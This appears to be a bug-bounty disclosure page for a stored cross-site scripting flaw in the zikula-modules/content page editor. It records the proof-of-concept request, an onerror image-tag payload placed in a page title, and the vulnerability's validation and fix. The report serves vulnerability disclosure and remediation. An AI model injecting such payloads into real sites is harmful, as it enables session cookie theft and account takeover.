Cross-site Scripting (XSS) - Stored in zikula-modules/content


Reported on

Sep 20th 2021


Stored XSS in Content allows for the arbitrary execution of JavaScript

Proof of Concept

POST /content/admin/page/edit HTTP/2
Cookie: _zsid=3u8efffphk5430gdmlevluk6fa
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 402
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers


Step to reproduce

Go to Content At Pages choose Add a new page At Create Page Input Title with payload : <iMg SrC="x" oNeRRor="alert(1);">

Video PoC : PoC


This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

We have contacted a member of the zikula-modules/content team and are waiting to hear back 2 years ago
lethanhphuc modified the report
2 years ago
Axel Guckelsberger validated this vulnerability 2 years ago
lethanhphuc has been awarded the disclosure bounty
The fix bounty is now up for grabs
Axel Guckelsberger marked this as fixed with commit 14ee49 2 years ago
Axel Guckelsberger has been awarded the fix bounty
This vulnerability will not receive a CVE
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